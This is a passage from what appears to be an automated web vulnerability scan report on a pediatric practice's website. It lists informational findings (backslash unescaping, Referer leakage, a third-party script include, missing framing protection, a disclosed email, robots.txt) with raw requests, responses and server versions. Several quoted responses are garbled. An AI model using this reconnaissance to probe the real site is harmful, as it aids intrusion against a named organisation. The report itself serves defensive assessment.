 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:54:48 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\183ltplugq\l46eh3pecn</td>
 ...[SNIP]...

12.12. http://www.yourwebsite.com/virtual-visits.php [URL path filename]

Previous  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /virtual-visits.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload 66ru30y009\\lyipychbbb was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as 66ru30y009\lyipychbbb indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /66ru30y009%5c%5clyipychbbb HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:47:10 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\66ru30y009\lyipychbbb</td>
...[SNIP]...

13. Cross-domain Referer leakage

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /

Issue detail
The application contains links to the following other domains from URLs containing a query string:

www9465.ssldomain.com
translate.google.com
www.medicalpracticewebsitedesign.com
www.ncqa.org
www.proactiveresources.com
www.similacrecall.com
www.cdc.gov
www.strong4life.com
brightfutures.org
kidshealth.org
www.aap.org
www.asthma.com
www.bestforbabes.org
www.brightfuturesforfamilies.org
www.choa.org
www.choicesforkids.org
www.epipen.com
www.foodallergy.org
www.gahighwaysafety.org
www.healthychildren.org

Numerous links to other domains were found and the above are a sample subset.
 

This issue was found in multiple locations under the reported path.

Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which
the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL
contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is
not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating
application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS,
or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data
from URLs used within the application.

Issue remediation
Applications should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be
logged in various locations and may be visible on-screen to untrusted parties. If placing sensitive information in the URL is unavoidable, consider using the Referer-
Policy HTTP header to reduce the chance of it being disclosed to third parties.

References
Referer Policy
Web Security Academy: Information disclosure

Vulnerability classifications
CWE-200: Information Exposure

Request 1

GET /news.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=14te4pqdsdsib160m0mjkutuf2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:37:00 GMT
 Connection: close

 Content-Length: 11042
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <li><a href="https://www9465.ssldomain.com/cumberlandpediatrics/contact-us.php" title="Contact the office of Cumberland Pediatrics" class="">Contact Us</a>
 ...[SNIP]...

Request 2

GET /news-topic.php?newsid=49 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=6pfefnsb43d0punte50800vhr1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 2

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.12
X-Powered-By: ASP.NET
Date: Thu, 07 Apr 2022 00:30:38 GMT
Connection: close
Content-Length: 12567

<!DOCTYPE html>
<html lang="en"><head>

<meta charset="utf-8">
   <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
   <meta http-equiv="X-UA-Compatible" content=
...[SNIP]...
</script>
< i t t "t t/j i t" "//t l t l /t l t / l t j ? b l T l t El tI it"></ i t>

Request 3

GET /news-topic.php?newsid=49 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=6pfefnsb43d0punte50800vhr1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:30:38 GMT
 Connection: close

 Content-Length: 12567
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 </a>. &nbsp;<a title="Medical website development, hosting, management, maintenance, and marketing by Medical Management Associates"

h f "htt // di l ti b it d i " t t " bl k">M di l W b it D i </ > b < titl "M di l b it d l t h ti

14. Cross-domain script include

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /

Issue detail
The response dynamically includes the following script from another domain:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit

This issue was found in multiple locations under the reported path.

Issue background
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The
script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current
user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the
domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation
Scripts should ideally not be included from untrusted domains. Applications that rely on static third-party scripts should consider using Subresource Integrity to make
browsers verify them, or copying the contents of these scripts onto their own domain and including them from there. If that is not possible (e.g. for licensing reasons)
then consider reimplementing the script's functionality within application code.

References
Subresource Integrity

Vulnerability classifications
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Request 1

GET /news-topic.php?newsid=49 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=6pfefnsb43d0punte50800vhr1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:30:38 GMT
 Connection: close

 Content-Length: 12567
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 </script>

< i t t "t t/j i t" "//t l t l /t l t / l t j ? b l T l t El tI it"></ i t>

Request 2

GET /dr-allison-ball.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nqiurdi33jm79iq9fsmvcbjuf0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:31:32 GMT
 Connection: close

 Content-Length: 13201
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 </script>

< i t t "t t/j i t" "//t l t l /t l t / l t j ? b l T l t El tI it"></ i t>

Request 3

GET /news-topic.php?newsid=48 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=7078v26p5q352dg5c6vi6trnm4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:30:41 GMT
 Connection: close

 Content-Length: 12925
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 </script>

< i t t "t t/j i t" "//t l t l /t l t / l t j ? b l T l t El tI it"></ i t>

15. Frameable response (potential Clickjacking)

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /

Issue detail
This issue was found in multiple locations under the reported path.

Issue background
If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page controlled by an attacker to load it
within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays the target application's interface with a different interface provided by
the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within
the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized
actions.

Note that some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally
ineffective and can usually be circumvented by a skilled attacker.

You should determine whether any functions accessible within frameable pages can be used by application users to perform any sensitive actions within the
application.

Issue remediation
To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing
altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself. Note that the SAMEORIGIN header can be partially
bypassed if the application itself can be made to frame untrusted websites.

References
Web Security Academy: Clickjacking
X-Frame-Options

Vulnerability classifications
CWE-693: Protection Mechanism Failure
CAPEC-103: Clickjacking

Request 1

GET /news.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=14te4pqdsdsib160m0mjkutuf2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:37:00 GMT
 Connection: close

 Content-Length: 11042
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

Request 2

GET /news-topic.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=6550t8r7s2io3l3tpngpqeet10
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news-topic.php?newsid=49

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:37:05 GMT
 Connection: close

 Content-Length: 5330
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

Request 3

GET /news-topic.php?newsid=49 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=6pfefnsb43d0punte50800vhr1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:30:38 GMT
 Connection: close

 Content-Length: 12567
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

16. Email addresses disclosed

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /virtual-visits.php

Issue detail
The following email address was disclosed in the response:

nurse@cumberlandpediatrics.com

Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally
within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful
to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against
the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation
Consider removing any email addresses that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as
helpdesk@example.com).

To reduce the quantity of spam sent to anonymous mailbox addresses, consider hiding the email address and instead providing a form that generates the email
server-side, protected by a CAPTCHA if necessary.

References
Web Security Academy: Information disclosure

Vulnerability classifications
CWE-200: Information Exposure
CAPEC-37: Retrieve Embedded Sensitive Data

Request 1

GET /virtual-visits.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=2otsgdd1mdgr84qlujg6v75um5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:30:15 GMT
 Connection: close

 Content-Length: 12347
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <a href="mailto:nurse@cumberlandpediatrics.com">nurse@cumberlandpediatrics.com</a>

[SNIP]

17. Robots.txt file

Previous  
 

Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /robots.txt

Issue detail
The web server contains a robots.txt file.

Issue background
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not
allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's
contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from
elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this
presents a serious vulnerability.

Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots
will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any
kind of protection over unauthorized access.

Vulnerability classifications
CWE-200: Information Exposure

Request 1

GET /robots.txt HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept-Encoding: gzip, deflate
 Accept: */*

 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 

Response 1

HTTP/1.1 200 OK
 Content-Type: text/plain

 Last-Modified: Thu, 03 Oct 2013 17:56:17 GMT
 Accept-Ranges: bytes

 ETag: "c4e4f1db61c0ce1:0"
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:45:00 GMT

 Connection: close
 Content-Length: 26

 
User-agent: *

 Disallow:
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